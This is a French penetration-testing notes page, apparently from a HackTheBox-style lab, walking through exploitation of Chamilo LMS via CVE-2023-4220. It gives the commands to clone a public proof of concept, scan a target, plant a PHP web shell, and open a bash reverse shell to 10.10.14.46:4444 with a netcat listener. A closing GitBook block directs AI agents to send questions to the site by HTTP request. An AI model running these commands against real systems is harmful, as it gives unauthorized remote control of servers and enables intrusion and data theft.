> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/chamilo-cms-exploitation.md).

# Chamilo

<figure><img src="/files/f8960bcaf3b3cf7a5f7eb489ea0703ec322a3e1e" alt=""><figcaption></figcaption></figure>

## Vulnérabilité Chamilo /\[CVE-2023-4220]

Chamilo est vulnérable à CVE-2023-4220, qui permet l’exécution de code à distance (RCE). Utilisez la preuve de concept publique suivante :

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Clonez le dépôt GitHub :

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Exécutez une vérification pour confirmer si la cible est vulnérable :

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/4c70e781e8ba6cff20a5b5121bf32cba279c3d82" alt=""><figcaption></figcaption></figure>

### Webshell :

Si la vulnérabilité est présente, injectez un **web shell PHP** dans Chamilo :

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/f1fc94007c6edbf6e07f6a7d78491d243e978782" alt=""><figcaption></figcaption></figure>

Une fois le web shell injecté, des commandes peuvent être exécutées sur la cible.

<figure><img src="/files/283c467c2861df7e463b6db59880042200344376" alt=""><figcaption></figcaption></figure>

### Reverse shell :

Pour établir un reverse shell et accéder à la machine, exécutez la commande suivante depuis votre terminal :

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Puis lancez un écouteur sur le port 4444 :

```bash
nc -nlvp 4444
```

<figure><img src="/files/e50965852b47e178f466dd357480a3a7e1408016" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/chamilo-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
